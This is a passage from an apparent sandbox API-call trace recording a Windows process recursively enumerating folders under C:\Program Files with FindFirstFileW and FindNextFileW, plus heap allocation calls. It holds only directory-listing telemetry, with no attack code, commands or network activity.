hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0140.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.569] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.569] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.569] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer") returned 37 [0140.569] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bc18 [0140.569] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.569] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.569] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.570] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43 [0140.570] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc98 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.570] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.570] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.571] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.571] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.571] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.571] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.571] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.571] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.571] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41 [0140.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bdd8 [0140.572] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.572] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.572] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.572] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.572] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.572] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0140.573] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.573] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.573] lstrlenW (lpString="C:\\Program Files\\Windows Security") returned 33 [0140.573] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bdd8 [0140.573] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.573] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.573] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.574] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore") returned 45 [0140.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc18 [0140.574] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.574] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.574] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.574] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.574] lstrlenW (lpString="C:\\Program Files\\Windows Security\\BrowserCore\\en-US") returned 51 [0140.574] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bf58 [0140.574] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.575] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0140.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.575] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.575] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.575] FindClose (in: hFindFile=0x3e5bdd8 | out: hFindFile=0x3e5bdd8) returned 1 [0140.575] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.576] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.576] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.577] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32 [0140.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bf58 [0140.577] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.577] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.577] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.577] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets") returned 40 [0140.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc18 [0140.577] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.577] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.577] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.578] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.578] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned 47 [0140.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc18 [0140.578] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.578] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0 [0140.578] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0140.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.578] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.578] lstrlenW (lpString="C:\\Program Files\\WindowsApps") returned 28 [0140.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0xffffffff [0140.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dd0748 | out: hHeap=0x510000) returned 1 [0140.578] FindNextFileW (in: hFindFile=0x3e5bb18, lpFindFileData=0x33cfa7c | out: lpFindFileData=0x33cfa7c) returned 1 [0140.578] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dd0748 [0140.578] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell") returned 34 [0140.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 0x3e5bcd8 [0140.579] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.579] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.579] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.579] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration") returned 48 [0140.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bc98 [0140.579] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.579] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.579] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.579] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration") returned 61 [0140.579] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bc18 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.580] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.580] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.580] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 55 [0140.580] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bc18 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0 [0140.580] FindClose (in: hFindFile=0x3e5bc18 | out: hFindFile=0x3e5bc18) returned 1 [0140.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4415678 | out: hHeap=0x510000) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0 [0140.580] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.580] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cf800 | out: lpFindFileData=0x33cf800) returned 1 [0140.580] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0140.581] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules") returned 42 [0140.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 0x3e5bdd8 [0140.581] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.581] FindNextFileW (in: hFindFile=0x3e5bdd8, lpFindFileData=0x33cf584 | out: lpFindFileData=0x33cf584) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4415678 [0140.581] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 84 [0140.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 0x3e5bf58 [0140.581] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.581] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x33cf308 | out: lpFindFileData=0x33cf308) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x4425680 [0140.581] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 90 [0140.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 0x3e5bc18 [0140.581] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.581] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.581] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x446a938 [0140.582] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 102 [0140.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0x3e5bc98 [0140.582] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.582] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.582] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x447a940 [0140.582] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 116 [0140.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5c618 [0140.582] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.582] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.582] FindNextFileW (in: hFindFile=0x3e5c618, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0140.583] FindClose (in: hFindFile=0x3e5c618 | out: hFindFile=0x3e5c618) returned 1 [0140.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.583] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x447a940 [0140.583] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple") returned 109 [0140.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5c258 [0140.583] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5c258, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0140.583] FindClose (in: hFindFile=0x3e5c258 | out: hFindFile=0x3e5c258) returned 1 [0140.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x447a940 | out: hHeap=0x510000) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0 [0140.583] FindClose (in: hFindFile=0x3e5bc98 | out: hFindFile=0x3e5bc98) returned 1 [0140.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.583] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.584] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.584] FindNextFileW (in: hFindFile=0x3e5bc18, lpFindFileData=0x33cf08c | out: lpFindFileData=0x33cf08c) returned 1 [0140.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x446a938 [0140.584] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test") returned 95 [0140.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 0x3e5bc98 [0140.584] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.584] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.584] FindNextFileW (in: hFindFile=0x3e5bc98, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0140.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x447a940 [0140.584] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules") returned 103 [0140.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5c218 [0140.584] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.584] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.584] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x455ff60 [0140.585] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics") returned 124 [0140.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0x3e5c118 [0140.585] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.585] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x456ff68 [0140.585] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics") returned 136 [0140.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0x3e5c758 [0140.585] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.585] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 1 [0140.585] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x44c40b0 [0140.586] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple") returned 143 [0140.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0x3e5c1d8 [0140.586] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.586] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 1 [0140.586] FindNextFileW (in: hFindFile=0x3e5c1d8, lpFindFileData=0x33ce420 | out: lpFindFileData=0x33ce420) returned 0 [0140.586] FindClose (in: hFindFile=0x3e5c1d8 | out: hFindFile=0x3e5c1d8) returned 1 [0140.586] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0140.586] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x33ce69c | out: lpFindFileData=0x33ce69c) returned 0 [0140.586] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0140.587] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0140.587] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0 [0140.587] FindClose (in: hFindFile=0x3e5c118 | out: hFindFile=0x3e5c118) returned 1 [0140.587] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0140.587] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0140.587] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x455ff60 [0140.587] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics") returned 124 [0140.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example2.Diagnostics\\*", lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 0x3e5c118 [0140.587] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.587] FindNextFileW (in: hFindFile=0x3e5c118, lpFindFileData=0x33ce918 | out: lpFindFileData=0x33ce918) returned 1 [0140.587] RtlAllocateHeap 